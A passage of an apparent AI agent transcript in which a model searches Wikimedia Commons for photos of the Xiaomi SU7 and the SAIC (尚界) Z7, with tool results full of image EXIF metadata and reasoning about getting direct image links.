above sea level |\n| Orientation | Normal |\n| Horizontal resolution | 72 dpi |\n| Vertical resolution | 72 dpi |\n| Software used | 18.3 |\n| File change date and time | 16:18, 21 March 2025 |\n| Y and C positioning | Centered |\n| Exposure Program | Normal program |\n| Exif version | 2.32 |\n| Date and time of digitizing | 16:18, 21 March 2025 |\n| Meaning of each component | 1. Y 2. Cb 3. Cr 4. does not exist |", "score": 0.7407191, "published_date": ""}, {"index": 6, "title": "File:Xiaomi SU7 Max.jpg - Wikimedia Commons", "url": "https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_Max.jpg", "content": "Title: File:Xiaomi SU7 Max.jpg - Wikimedia Commons\n# File:Xiaomi SU7 Max.jpg. * File usage on other wikis. File:Xiaomi SU7 Max.jpg. Original file (2,626 × 2,839 pixels, file size: 1.72 MB, MIME type: image/jpeg). Xiaomi SU7 car in Max configuration in Moscow. | Other versions | | | | | | --- | --- | --- | | Image extraction process | This image has an **extracted file**: Xiaomi SU7 Max (resized).jpg.jpg \"File:Xiaomi SU7 Max (resized).jpg\"). | Camera location | 55° 40′ 50.62″ N, 37° 32′ 18.59″ E Kartographer map based on OpenStreetMap. I, the copyright holder of this work, hereby publish it under the following license:. This file is licensed under the Creative Commons Attribution-Share Alike 4.0 International license. https://creativecommons.org/licenses/by-sa/4.0CC BY-SA 4.0 Creative Commons Attribution-Share Alike 4.0 truetrue. ## File history. Click on a date/time to view the file as it appeared at that time. | current | 20:51, 14 September 2024 | 2,626 × 2,839 (1.72 MB) | Artur Random\") (talk | contribs) | EXIF-данные сохранены |. | 20:45, 14 September 2024 | 2,626 × 2,839 (2.11 MB) | Artur Random\") (talk | contribs) | Uploaded own work with UploadWizard |. You cannot overwrite this file. ## File usage on Commons. The following page uses this file:. * File:Xiaomi SU7 Max (resized).jpg.jpg \"File:Xiaomi SU7 Max (resized).jpg\"). ## File usage on other wikis. The following other wikis use this file:. This file contains additional information such as Exif metadata which may have been added by the digital camera, scanner, or software program used to create or digitize it. If the file has been modified from its original state, some details such as the timestamp may not fully reflect those of the original file. | Date and time of data generation | 10:32, 12 September 2024 |. | File change date and time | 10:32, 12 September 2024 |. | Date and time of digitizing | 10:32, 12 September 2024 |. | Scene type | A directly photographed image |. | GPS date | 12 September 2024 |. ### Items portrayed in this file. #### copyright license. #### f-number. #### source of file. * Files with coordinates missing SDC location of creation. File:Xiaomi SU7 Max.jpg.", "score": 0.71185225, "published_date": ""}, {"index": 7, "title": "File:Interior of of Xiaomi SU7 Max-20240413.jpg - Wikimedia Commons", "url": "https://commons.wikimedia.org/wiki/File:Interior_of_of_Xiaomi_SU7_Max-20240413.jpg", "content": "Wikimedia Commons\n\n## Contents\n\n# File:Interior of of Xiaomi SU7 Max-20240413.jpg\n\nFile:Interior of of Xiaomi SU7 Max-20240413.jpg\n\n## Captions\n\n### Captions\n\n## Summary\n\n| | |\n --- |\n| DescriptionInterior of of Xiaomi SU7 Max-20240413.jpg | English: Sporty steering wheel, with a touchscreen display. |\n| Date | 13 April 2024, 11:53:45 |\n| Source | Own work |\n| Author | Shwangtianyuan |\n\n| | | | |\n --- --- |\n| Camera location | 31° 19′ 31.27″ N, 120° 45′ 13.9″ E Kartographer map based on OpenStreetMap. | View this and other nearby images on: OpenStreetMap | info 31.325352; 120.753860 |\n\nKartographer map based on OpenStreetMap.\ninfo\n\n## Licensing\n\nw:en:Creative Commons\nattribution\nshare alike\n\n## File history\n\nClick on a date/time to view the file as it appeared at that time. [...] | Date and time of digitizing | 11:53, 13 April 2024 |\n| Meaning of each component | 1. Y 2. Cb 3. Cr 4. does not exist |\n| Image compression mode | 0.95 |\n| APEX shutter speed | 29.8973 |\n| APEX aperture | 1.35 |\n| APEX brightness | 0 |\n| APEX exposure bias | 0 |\n| Maximum land aperture | 1.35 APEX (f/1.6) |\n| Metering mode | Pattern |\n| Light source | Other light source |\n| Flash | Flash did not fire |\n| DateTime subseconds | 618850 |\n| DateTimeOriginal subseconds | 618850 |\n| DateTimeDigitized subseconds | 618850 |\n| Supported Flashpix version | 1 |\n| Color space | sRGB |\n| Sensing method | One-chip color area sensor |\n| File source | Digital still camera |\n| Scene type | A directly photographed image |\n| Custom image processing | Custom process |\n| Exposure mode | Auto exposure | [...] | | |\n --- |\n| Camera manufacturer | HUAWEI |\n| Camera model | LIO-AN00m |\n| Exposure time | 1/50 sec (0.02) |\n| F-number | f/1.6 |\n| ISO speed rating | 160 |\n| Date and time of data generation | 11:53, 13 April 2024 |\n| Lens focal length | 5.56 mm |\n| Latitude | 31° 19′ 31.27″ N |\n| Longitude | 120° 45′ 13.9″ E |\n| Altitude | 0 meters above sea level |\n| Width | 7,296 px |\n| Height | 5,472 px |\n| Bits per component | 8 8 8 |\n| Orientation | 0 |\n| Horizontal resolution | 72 dpi |\n| Vertical resolution | 72 dpi |\n| Software used | LIO-AN00m 4.0.0.120(C00E116R3P4) |\n| File change date and time | 11:53, 13 April 2024 |\n| Y and C positioning | Centered |\n| Exposure Program | Normal program |\n| Exif version | 2.1 |\n| Date and time of digitizing | 11:53, 13 April 2024 |", "score": 0.71137124, "published_date": ""}, {"index": 8, "title": "File:Xiaomi SU7 Ultra 0001 China 2025-03-28.jpg - Wikimedia Commons", "url": "https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_Ultra_0001_China_2025-03-28.jpg", "content": "Original file (1,300 × 741 pixels, file size: 534 KB, MIME type: image/jpeg)\n\nFile information\n\nStructured data\n\n## Captions\n\n### Captions\n\nXiaomi SU7 Ultra photographed in Chengdu, Sichuan province, China.\n\n## Summary\n\n[edit]\n\n| | |\n --- |\n| DescriptionXiaomi SU7 Ultra 0001 China 2025-03-28.jpg | English: Xiaomi SU7 Ultra photographed in Chengdu, Sichuan province, China. |\n| Date | |\n| Source | Own work |\n| Author | Navigator84 |\n| Other versions | |\n\n| | | | |\n --- --- |\n| Camera location | 30° 35′ 12.21″ N, 104° 01′ 12.17″ E Kartographer map based on OpenStreetMap. | View this and other nearby images on: OpenStreetMap | info 30.586726; 104.020047 |\n\n## Licensing\n\n[edit]\n\nI, the copyright holder of this work, hereby publish it under the following license: [...] | Camera manufacturer | HONOR |\n| Camera model | PTP-N49 |\n| Exposure time | 1/770 sec (0.0012987012987013) |\n| F-number | f/2 |\n| ISO speed rating | 100 |\n| Date and time of data generation | 16:30, 28 March 2025 |\n| Lens focal length | 6.83 mm |\n| Latitude | 30° 35′ 12.21″ N |\n| Longitude | 104° 1′ 12.17″ E |\n| Altitude | 461.712 meters above sea level |\n| Orientation | Normal |\n| Horizontal resolution | 72 dpi |\n| Vertical resolution | 72 dpi |\n| Software used | GIMP 2.10.38 |\n| File change date and time | 23:34, 27 May 2025 |\n| Y and C positioning | Centered |\n| Exposure Program | Normal program |\n| Exif version | 2.3 |\n| Date and time of digitizing | 16:30, 28 March 2025 |\n| Meaning of each component | 1. Y 2. Cb 3. Cr 4. does not exist |\n| APEX shutter speed | 9.595 | [...] ## File history\n\nClick on a date/time to view the file as it appeared at that time.\n\n| Date/Time | Thumbnail | Dimensions | User | Comment |\n --- --- \n| current | 19:08, 28 May 2025 | 1,300 × 741 (534 KB) | Navigator84 (talk | contribs) | Uploaded own work with UploadWizard |\n\nYou cannot overwrite this file.\n\n## File usage on Commons\n\nThe following 3 pages use this file:\n\n User:Adeletron 3030/botgalleries/Sports/2025 May 26-28\n User:Navigator84/gallery/China\n File:Xiaomi SU7 Ultra 0002 China 2025-03-28.jpg\n\n## File usage on other wikis\n\nThe following other wikis use this file:\n\n Usage on en.wikipedia.org\n + Xiaomi SU7\n Usage on ko.wikipedia.org\n + 샤오미 SU7\n Usage on pl.wikipedia.org\n + Xiaomi Auto\n + Xiaomi SU7\n Usage on uk.wikipedia.org\n + Xiaomi SU7\n\n## Metadata", "score": 0.70726365, "published_date": ""}, {"index": 9, "title": "File:20241007 Xiaomi SU7 Max.jpg - Wikimedia Commons", "url": "https://commons.wikimedia.org/wiki/File:20241007_Xiaomi_SU7_Max.jpg", "content": "Wikimedia Commons\n\n## Contents\n\n# File:20241007 Xiaomi SU7 Max.jpg\n\nFile:20241007 Xiaomi SU7 Max.jpg\n\n## Captions\n\n### Captions\n\n## Summary\n\n| | |\n --- |\n| Description20241007 Xiaomi SU7 Max.jpg | English: Xiaomi SU7 Max at Shanghai Xiaomi Store |\n| Date | 4 October 2024, 16:30:35 |\n| Source | Own work |\n| Author | Liauzh |\n\n| | | | |\n --- --- |\n| Camera location | 31° 14′ 41.24″ N, 121° 28′ 02.77″ E Kartographer map based on OpenStreetMap. | View this and other nearby images on: OpenStreetMap | info 31.244790; 121.467435 |\n\nKartographer map based on OpenStreetMap.\ninfo\n\n## Licensing\n\nw:en:Creative Commons\nattribution\nshare alike\n\n## File history\n\nClick on a date/time to view the file as it appeared at that time. [...] | | |\n --- |\n| Camera manufacturer | samsung |\n| Camera model | Galaxy S24+ |\n| Date and time of data generation | 16:30, 4 October 2024 |\n| Exposure time | 11/2,000 sec (0.0055) |\n| F-number | f/1.8 |\n| ISO speed rating | 64 |\n| Lens focal length | 5.4 mm |\n| Latitude | 31° 14′ 41.24″ N |\n| Altitude | 21 meters above sea level |\n| Longitude | 121° 28′ 2.76″ E |\n| Compression scheme | JPEG (old) |\n| Offset to JPEG SOI | 1,008 |\n| Bytes of JPEG data | 45,047 |\n| Height | 2,252 px |\n| Orientation | Normal |\n| File change date and time | 16:30, 4 October 2024 |\n| Vertical resolution | 72 dpi |\n| Horizontal resolution | 72 dpi |\n| Width | 4,000 px |\n| Software used | S926BXXU3AXH7 |\n| Y and C positioning | Centered |\n| APEX aperture | 1.69 |\n| Exif version | 2.2 | [...] | APEX aperture | 1.69 |\n| Exif version | 2.2 |\n| APEX exposure bias | 0 |\n| Exposure Program | Normal program |\n| Color space | Uncalibrated |\n| Unique image ID | H50XLQE00PM |\n| Maximum land aperture | 1.69 APEX (f/1.8) |\n| APEX brightness | 5.02 |\n| Supported Flashpix version | 1 |\n| DateTimeOriginal subseconds | 362 |\n| White balance | Auto white balance |\n| Exposure mode | Auto exposure |\n| Flash | Flash did not fire |\n| DateTime subseconds | 362 |\n| Focal length in 35 mm film | 23 mm |\n| DateTimeDigitized subseconds | 362 |\n| Digital zoom ratio | 1 |\n| Date and time of digitizing | 16:30, 4 October 2024 |\n| APEX shutter speed | 0.0055555555555556 |\n| Metering mode | Center weighted average |\n| Scene capture type | Standard |\n| Light source | Unknown |", "score": 0.68571854, "published_date": ""}, {"index": 10, "title": "File:Xiaomi SU7 Ultra rear view (April 7, 2025).jpg - Wikimedia Commons", "url": "https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_Ultra_rear_view_(April_7,_2025).jpg", "content": "| APEX shutter speed | 6.9220898258478 |\n| APEX aperture | 1.6637544825625 |\n| APEX brightness | 4.2792810917748 |\n| APEX exposure bias | 0 |\n| Metering mode | Pattern |\n| Flash | Flash did not fire, compulsory flash suppression |\n| DateTimeOriginal subseconds | 657 |\n| DateTimeDigitized subseconds | 657 |\n| Supported Flashpix version | 1 |\n| Color space | Uncalibrated |\n| Sensing method | One-chip color area sensor |\n| Scene type | A directly photographed image |\n| Exposure mode | Auto exposure |\n| White balance | Auto white balance |\n| Focal length in 35 mm film | 24 mm |\n| Scene capture type | Standard |\n| GPS time (atomic clock) | 09:59 |\n| Speed unit | Kilometers per hour |\n| Speed of GPS receiver | 0 |\n| Reference for direction of image | True direction | [...] File information\n\nStructured data\n\n## Captions\n\n### Captions\n\nXiaomi SU7 Ultra rear view.\n\n## Summary\n\n[edit.jpg&action=edit§ion=1 \"Edit section: Summary\")]\n\n| | |\n --- |\n| DescriptionXiaomi SU7 Ultra rear view (April 7, 2025).jpg | English: Xiaomi SU7 Ultra rear view. |\n| Date | |\n| Source | Own work |\n| Author | 茅野ふたば |\n| Other versions | |\n\n| | | | |\n --- --- |\n| Camera location | 23° 02′ 05.73″ N, 113° 46′ 20.91″ E.jpg¶ms=023.034925_N_0113.772475_E_globe:Earth_type:camera_heading:262.68&language=en) Heading=262.678390462° Kartographer map based on OpenStreetMap. | View this and other nearby images on: OpenStreetMap | info 23.034925; 113.772475 |\n\n## Licensing\n\n[edit.jpg&action=edit§ion=2 \"Edit section: Licensing\")] [...] General\n\n What links here.jpg \"A list of all wiki pages that link here [j]\")\n Related changes.jpg \"Recent changes in pages linked from this page [k]\")\n Permanent link.jpg&oldid=1252685873 \"Permanent link to this revision of this page\")\n Page information.jpg&action=info \"More information about this page\")\n Cite this page\n Get shortened URL\n Concept URI\n\nPrint/export\n\n Download as PDF\n Printable version; \"Printable version of this page [p]\")\n\nIn other projects\n\nAppearance\n\nFrom Wikimedia Commons, the free media repository\n\nFile:Xiaomi SU7 Ultra rear view (April 7, 2025).jpg\n\nSize of this preview: 960 × 540 pixels. Other resolutions: 330 × 186 pixels | 1,280 × 720 pixels | 3,840 × 2,160 pixels.\n\nOriginal file.jpg\") (4,032 × 2,268 pixels, file size: 2.83 MB, MIME type: image/jpeg)", "score": 0.67911536, "published_date": ""}], "total_results": 10}}, "tool_call_id": "tool_tHN9XsFo50RxYSzVYxrTF1Mc", "name": "web_search"}, {"role": "assistant", "reasoning_content": "确认信息:\n- 尚界Z7:华为鸿蒙智行+上汽合作品牌\"尚界\"的第二款车,定位风尚科技轿跑,2026年4月22日上市,21.98万起,对标小米SU7。还有猎装版Z7T。\n- 小米SU7:小米首款车,纯电轿跑。\n\n小米SU7在Wikimedia Commons上有很多图片。尚界Z7是2026年新车,Wikimedia Commons可能也有,搜一下。\n\n我需要拿到图片直链。Wikimedia Commons的文件页面需要提取真实图片URL(upload.wikimedia.org)。\n\n计划:\n1. 搜尚界Z7 site:commons.wikimedia.org\n2. 提取小米SU7的一个好的正面/侧面照片文件页,拿到直链\n\n尚界Z7如果Commons没有,就去鸿蒙智行官网 hima.auto/shangjie/z7-z7t 提取官方图片,或者用汽车媒体页面的图片。官网图片通常CDN可直链,但可能有防盗链。先试Commons。\n\n提取 commons 文件页用 extract_webpage,从HTML中找 upload.wikimedia.org 的链接。不过 extract_webpage 可能返回正文文本而非HTML。另一个方法:用 Commons API。但沙箱网络受限,run_command 里 curl 外网不可用。只能靠 extract_webpage 工具。\n\n其实有个技巧:Wikimedia Commons 图片直链规则是 https://upload.wikimedia.org/wikipedia/commons/{hash1}/{hash1hash2}/{filename},hash不好猜。但可以用 Special:FilePath 重定向:https://commons.wikimedia.org/wiki/Special:FilePath/Xiaomi_SU7_Max.jpg 会302到真实URL。但 是否跟随重定向?大概率浏览器直接加载会跟随。更稳妥的是用 upload.wikimedia.org 的缩略图URL,但还是需要hash。\n\n另一个稳定方式:使用 Special:FilePath 直接作为图片src,例如:\nhttps://commons.wikimedia.org/wiki/Special:FilePath/Xiaomi%20SU7%20Max.jpg?width=1200\n这个URL支持 ?width 参数返回缩放图。浏览器加载时会跟随302到upload.wikimedia.org。通常可行。\n\n不过更保险的做法是 extract_webpage 提取文件页,里面通常包含 fullMedia 链接。\n\n先并行做:\n1. web_search: 尚界Z7 site:commons.wikimedia.org\n2. extract_webpage: https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_Max.jpg (拿直链)\n\n尚界Z7若Commons没有,就提取鸿蒙智行官网页面找图。", "content": "尚界Z7(华为鸿蒙智行×上汽的轿跑,2026年4月上市)和小米SU7确认。现在找两车的高清照片直链。", "timestamp": "2026-08-23T13:34:01.252573", "message_id": "msg_18c2b77a08e24886b454d80ab2d35d2f", "metadata": {"model_key": "Kimi-K3"}, "tool_calls": [{"id": "tool_hkV7E8S9dyJsBzknfqz6KD78", "index": 0, "type": "function", "function": {"name": "web_search", "arguments": "{\"intent\": \"找尚界Z7维基共享图片\", \"query\": \"Shangjie Z7 OR 尚界Z7 site:commons.wikimedia.org\", \"topic\": \"general\"}"}}, {"id": "tool_fCXxabfP9kYn3dAkbUC4Mc3C", "index": 1, "type": "function", "function": {"name": "extract_webpage", "arguments": "{\"intent\": \"提取小米SU7图片直链\", \"url\": \"https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_Max.jpg\"}"}}]}, {"role": "tool", "content": "{\"success\": true, \"summary\": \"🔍 搜索查询: Shangjie Z7 OR 尚界Z7 site:commons.wikimedia.org\\n📅 搜索时间: 2026-08-23T13:34:08.692338\\n🎯 过滤条件: Topic: general\\n\\n📊 搜索结果:\\n\\n1. Category:SAIC Z7 - Wikimedia Commons\\n 🔗 https://commons.wikimedia.org/wiki/Category:SAIC_Z7\\n 📄 Jump to content\\n\\n Wikimedia Commons\\n\\nSearch\\n\\n# Category:SAIC Z7\\n\\nHelp\\n\\n Category\\n Discussion [t]\\\")\\n\\n Read\\n Edit\\n View history\\n\\nTools\\n\\nActions\\n\\n Read\\n Edit\\n View history\\n\\nGeneral\\n\\n What links here\\n Re...\\n\\n2. Category:SAIC Z7 — Wikimedia Commons\\n 🔗 https://commons.wikimedia.org/wiki/Category:SAIC_Z7?uselang=uk\\n 📄 Wikimedia Commons\\n\\n# Category:SAIC Z7\\n\\nSAIC Z7\\n\\n| | |\\n --- |\\n| mid-size sedan and shooting brake | |\\n| Завантажити медіафайл | |\\n| Вікіпедія | |\\n| Є одним із | модель автомобіля |\\n| Є підкласом | ...\\n\\n3. File:2026 SAIC Z7T (front).jpg - Wikimedia Commons\\n 🔗 https://commons.wikimedia.org/wiki/File:2026_SAIC_Z7T_(front).jpg\\n 📄 File information\\n\\nStructured data\\n\\n## Captions\\n\\n### Captions\\n\\nSilver Chinese shooting brake\\n\\n## Summary\\n\\n[edit.jpg&action=edit§ion=1 \\\"Edit section: Summary\\\")]\\n\\n| | |\\n --- |\\n| Description2026 SAI...\\n\\n4. User:Navigator84/gallery/China/HIMA - Wikimedia Commons\\n 🔗 https://commons.wikimedia.org/wiki/User:Navigator84/gallery/China/HIMA\\n 📄 Wikimedia Commons\\n\\n# User:Navigator84/gallery/China/HIMA\\n\\nHarmony Intelligent Mobility Alliance - 鸿蒙智能汽车技术生态联盟 - Hóngméng Zhìnéng Qìchē Jìshù Shēngtài Liánméng.\\n\\naka HIMA - 鸿蒙智行 - Hóngméng Zhìnéng.\\n\\n#...\\n\\n5. File:SAIC Z7 MY2026 IMG01.jpg - Wikimedia Commons\\n 🔗 https://commons.wikimedia.org/wiki/File:SAIC_Z7_MY2026_IMG01.jpg\\n 📄 | | |\\n --- |\\n| Camera manufacturer | Apple |\\n| Camera model | iPhone 14 Pro Max |\\n| Exposure time | 1/3,367 sec (0.0002970002970003) |\\n| F-number | f/1.78 |\\n| ISO speed rating | 64 |\\n| Date and time...\", \"query\": \"Shangjie Z7 OR 尚界Z7\", \"filters\": {\"topic\": \"general\"}, \"total_results\": 5, \"results\": [{\"index\": 1, \"title\": \"Category:SAIC Z7 - Wikimedia Commons\", \"url\": \"https://commons.wikimedia.org/wiki/Category:SAIC_Z7\"}, {\"index\": 2, \"title\": \"Category:SAIC Z7 — Wikimedia Commons\", \"url\": \"https://commons.wikimedia.org/wiki/Category:SAIC_Z7?uselang=uk\"}, {\"index\": 3, \"title\": \"File:2026 SAIC Z7T (front).jpg - Wikimedia Commons\", \"url\": \"https://commons.wikimedia.org/wiki/File:2026_SAIC_Z7T_(front).jpg\"}, {\"index\": 4, \"title\": \"User:Navigator84/gallery/China/HIMA - Wikimedia Commons\", \"url\": \"https://commons.wikimedia.org/wiki/User:Navigator84/gallery/China/HIMA\"}, {\"index\": 5, \"title\": \"File:SAIC Z7 MY2026 IMG01.jpg - Wikimedia Commons\", \"url\": \"https://commons.wikimedia.org/wiki/File:SAIC_Z7_MY2026_IMG01.jpg\"}]}", "timestamp": "2026-08-23T13:34:08.760132", "message_id": "msg_427272f4513f40fdbf45d75e758bc5b4", "metadata": {"tool_payload": {"success": true, "summary": "🔍 搜索查询: Shangjie Z7 OR 尚界Z7 site:commons.wikimedia.org\n📅 搜索时间: 2026-08-23T13:34:08.692338\n🎯 过滤条件: Topic: general\n\n📊 搜索结果:\n\n1. Category:SAIC Z7 - Wikimedia Commons\n 🔗 https://commons.wikimedia.org/wiki/Category:SAIC_Z7\n 📄 Jump to content\n\n Wikimedia Commons\n\nSearch\n\n# Category:SAIC Z7\n\nHelp\n\n Category\n Discussion [t]\")\n\n Read\n Edit\n View history\n\nTools\n\nActions\n\n Read\n Edit\n View history\n\nGeneral\n\n What links here\n Re...\n\n2. Category:SAIC Z7 — Wikimedia Commons\n 🔗 https://commons.wikimedia.org/wiki/Category:SAIC_Z7?uselang=uk\n 📄 Wikimedia Commons\n\n# Category:SAIC Z7\n\nSAIC Z7\n\n| | |\n --- |\n| mid-size sedan and shooting brake | |\n| Завантажити медіафайл | |\n| Вікіпедія | |\n| Є одним із | модель автомобіля |\n| Є підкласом | ...\n\n3. File:2026 SAIC Z7T (front).jpg - Wikimedia Commons\n 🔗 https://commons.wikimedia.org/wiki/File:2026_SAIC_Z7T_(front).jpg\n 📄 File information\n\nStructured data\n\n## Captions\n\n### Captions\n\nSilver Chinese shooting brake\n\n## Summary\n\n[edit.jpg&action=edit§ion=1 \"Edit section: Summary\")]\n\n| | |\n --- |\n| Description2026 SAI...\n\n4. User:Navigator84/gallery/China/HIMA - Wikimedia Commons\n 🔗 https://commons.wikimedia.org/wiki/User:Navigator84/gallery/China/HIMA\n 📄 Wikimedia Commons\n\n# User:Navigator84/gallery/China/HIMA\n\nHarmony Intelligent Mobility Alliance - 鸿蒙智能汽车技术生态联盟 - Hóngméng Zhìnéng Qìchē Jìshù Shēngtài Liánméng.\n\naka HIMA - 鸿蒙智行 - Hóngméng Zhìnéng.\n\n#...\n\n5. File:SAIC Z7 MY2026 IMG01.jpg - Wikimedia Commons\n 🔗 https://commons.wikimedia.org/wiki/File:SAIC_Z7_MY2026_IMG01.jpg\n 📄 | | |\n --- |\n| Camera manufacturer | Apple |\n| Camera model | iPhone 14 Pro Max |\n| Exposure time | 1/3,367 sec (0.0002970002970003) |\n| F-number | f/1.78 |\n| ISO speed rating | 64 |\n| Date and time...", "filters": {"topic": "general"}, "query": "Shangjie Z7 OR 尚界Z7", "results": [{"index": 1, "title": "Category:SAIC Z7 - Wikimedia Commons", "url": "https://commons.wikimedia.org/wiki/Category:SAIC_Z7", "content": "Jump to content\n\n Wikimedia Commons\n\nSearch\n\n# Category:SAIC Z7\n\nHelp\n\n Category\n Discussion [t]\")\n\n Read\n Edit\n View history\n\nTools\n\nActions\n\n Read\n Edit\n View history\n\nGeneral\n\n What links here\n Related changes\n Permanent link\n Page information\n Get shortened URL\n\nPrint/export\n\n Create a book\n Download as PDF\n Printable version\n\nIn other projects\n\n Wikipedia\n Wikidata item\n\nAppearance\n\nFrom Wikimedia Commons, the free media repository\n\nSAIC Z7; Saic Z7; Saic Z7; SAIC Z7; 尚界Z7; mid-size sedan and shooting brake; Elektryczny samochód osobowy segmentu E\n\nSaic Z7 [...] SAIC Z7 005.jpg 3,666 × 2,749; 2.15 MB\n \n\n SAIC Z7 01 China 2026-04-19.jpg 1,300 × 737; 386 KB\n \n\n SAIC Z7 02 China 2026-04-19.jpg 1,300 × 532; 300 KB\n \n\n SAIC Z7 03 China 2026-04-19.jpg 1,300 × 716; 368 KB\n \n\n SAIC Z7 and Z7T 001.jpg 4,032 × 3,024; 2.71 MB\n \n\n SAIC Z7 MY2026 IMG01.jpg 3,714 × 2,786; 3.69 MB\n \n\n SAIC Z7 MY2026 IMG02.jpg 3,608 × 2,706; 3.52 MB\n \n\n SAIC Z7 MY2026 IMG03.jpg 2,285 × 1,714; 1.15 MB\n\nRetrieved from \"\"\n\nCategories:\n\n SAIC vehicles\n 2020s battery-powered automobiles\n\nNon-topical/index:\n\n Uses of Wikidata Infobox\n Uses of Wikidata Infobox with no image\n Uses of Wikidata Infobox missing Commons Category statement\n\nCategory:SAIC Z7\n\nAdd topic [...] Saic Z7\n\n| mid-size sedan and shooting brake |\n| Upload media |\n| Wikipedia |\n| Instance of | car model |\n| Subclass of | electric car |\n| Manufacturer | SAIC Motor |\n| | Authority file | | Wikidata Q137919999 | | Reasonator Scholia Wikidocumentaries PetScan statistics WikiMap Locator tool KML file Search depicted | |\n\n## Subcategories\n\nThis category has only the following subcategory.\n\n### T\n\n SAIC Z7T (8 F)\n\n## Media in category \"SAIC Z7\"\n\nThe following 12 files are in this category, out of 12 total.\n\n \n\n SAIC Z7 001.jpg 3,684 × 2,763; 2.32 MB\n \n\n SAIC Z7 002.jpg 3,827 × 2,870; 2.59 MB\n \n\n SAIC Z7 003.jpg 4,032 × 3,024; 2.49 MB\n \n\n SAIC Z7 004.jpg 3,843 × 2,882; 2.5 MB\n \n\n SAIC Z7 005.jpg 3,666 × 2,749; 2.15 MB", "score": 0.6033015, "published_date": ""}, {"index": 2, "title": "Category:SAIC Z7 — Wikimedia Commons", "url": "https://commons.wikimedia.org/wiki/Category:SAIC_Z7?uselang=uk", "content": "Wikimedia Commons\n\n# Category:SAIC Z7\n\nSAIC Z7\n\n| | |\n --- |\n| mid-size sedan and shooting brake | |\n| Завантажити медіафайл | |\n| Вікіпедія | |\n| Є одним із | модель автомобіля |\n| Є підкласом | електромобіль |\n| Виробник | Shanghai Automotive Industry Corporation |\n| | Нормативний контроль | | Вікідані Q137919999 | | Reasonator Scholia Wikidocumentaries PetScan статистика WikiMap Locator tool файл KML Шукати зображене | | | |\n| Редагувати дані картки у Вікіданих | |\n\n| Нормативний контроль |\n\n| Вікідані Q137919999 |\n| Reasonator Scholia Wikidocumentaries PetScan статистика WikiMap Locator tool файл KML Шукати зображене | |\n\nВікідані\nРедагувати дані картки у Вікіданих\n\n## Підкатегорії\n\nЦя категорія має тільки таку підкатегорію.\n\n### T [...] Ця категорія має тільки таку підкатегорію.\n\n### T\n\n## Файли в категорії «SAIC Z7»\n\nПоказано 12 файлів цієї категорії (із 12).\n\nWikimedia Foundation\nPowered by MediaWiki", "score": 0.5084226, "published_date": ""}, {"index": 3, "title": "File:2026 SAIC Z7T (front).jpg - Wikimedia Commons", "url": "https://commons.wikimedia.org/wiki/File:2026_SAIC_Z7T_(front).jpg", "content": "File information\n\nStructured data\n\n## Captions\n\n### Captions\n\nSilver Chinese shooting brake\n\n## Summary\n\n[edit.jpg&action=edit§ion=1 \"Edit section: Summary\")]\n\n| | |\n --- |\n| Description2026 SAIC Z7T (front).jpg | 中文:​一輛上汽尚界Z7T,拍攝於中國廣東省深圳市寶安區大灣區車展。 |\n| Date | |\n| Source | Own work |\n| Author | User3204 |\n\n## Licensing\n\n[edit.jpg&action=edit§ion=2 \"Edit section: Licensing\")]\n\nI, the copyright holder of this work, hereby publish it under the following license:\n\nw:en:Creative Commons \n attribution share alike\n\nThis file is licensed under the Creative Commons Attribution-Share Alike 4.0 International license.\n\n: You are free:\n\n to share – to copy, distribute and transmit the work\n to remix – to adapt the work\n: Under the following conditions: [...] You cannot overwrite this file.\n\n## File usage on Commons\n\nThere are no pages that use this file.\n\n## File usage on other wikis\n\nThe following other wikis use this file:\n\n Usage on en.wikipedia.org\n + List of HIMA vehicles\n + SAIC Z7\n\n## Metadata\n\nThis file contains additional information such as Exif metadata which may have been added by the digital camera, scanner, or software program used to create or digitize it. If the file has been modified from its original state, some details such as the timestamp may not fully reflect those of the original file. The timestamp is only as accurate as the clock in the camera, and it may be completely wrong. [...] ## Structured data\n\n### Items portrayed in this file\n\n#### depicts\n\n#### Saic Z7\n\n#### copyright status\n\n#### copyrighted\n\n#### copyright license\n\n#### Creative Commons Attribution-ShareAlike 4.0 International\n\n#### inception\n\n#### 5 June 2026\n\n#### media type\n\n#### image/jpeg\n\n#### ISO speed\n\n#### 320\n\n#### exposure time\n\n#### 0.0083333333333333 second\n\n#### f-number\n\n#### 1.67\n\n#### focal length\n\n#### 6.62 millimetre\n\n#### instance of\n\n#### source of file\n\n#### original creation by uploader\n\nRetrieved from \"\"\n\nCategories:\n\n SAIC Z7T\n Greater Bay Area Auto Show 2026\n\nHidden categories:\n\n CC-BY-SA-4.0\n Self-published work\n Taken with Poco F8 Ultra\n\nFile:2026 SAIC Z7T (front).jpg\n\nAdd topic", "score": 0.45348024, "published_date": ""}, {"index": 4, "title": "User:Navigator84/gallery/China/HIMA - Wikimedia Commons", "url": "https://commons.wikimedia.org/wiki/User:Navigator84/gallery/China/HIMA", "content": "Wikimedia Commons\n\n# User:Navigator84/gallery/China/HIMA\n\nHarmony Intelligent Mobility Alliance - 鸿蒙智能汽车技术生态联盟 - Hóngméng Zhìnéng Qìchē Jìshù Shēngtài Liánméng.\n\naka HIMA - 鸿蒙智行 - Hóngméng Zhìnéng.\n\n## Contents\n\n# Huawei - BAIC Blue Park ( 华为 北汽蓝谷 - Huáwéi Běiqì Lán Gǔ )\n\n## Stelato ( 享界 - Xiǎngjiè )\n\n### S9\n\nS9 EV\nS9 EV\n\n# Huawei - Chery ( 华为 奇瑞 - Huáwéi Qíruì )\n\n## Luxeed ( 智界 - Zhìjiè )\n\n### S7\n\nS7\n\n### V9\n\nV9\nV9\nV9\nV9\nV9\n\n# Huawei - SAIC ( 华为 上汽 - Huáwéi Shàngqì )\n\n## SAIC ( 尚界 - Shàngjiè )\n\n### Z7\n\nZ7\nZ7\nZ7\n\n#### Languages\n\nThis page is not available in other languages.\n\nWikimedia Commons\nWikimedia Foundation\nPowered by MediaWiki", "score": 0.45101276, "published_date": ""}, {"index": 5, "title": "File:SAIC Z7 MY2026 IMG01.jpg - Wikimedia Commons", "url": "https://commons.wikimedia.org/wiki/File:SAIC_Z7_MY2026_IMG01.jpg", "content": "| | |\n --- |\n| Camera manufacturer | Apple |\n| Camera model | iPhone 14 Pro Max |\n| Exposure time | 1/3,367 sec (0.0002970002970003) |\n| F-number | f/1.78 |\n| ISO speed rating | 64 |\n| Date and time of data generation | 12:25, 13 July 2026 |\n| Lens focal length | 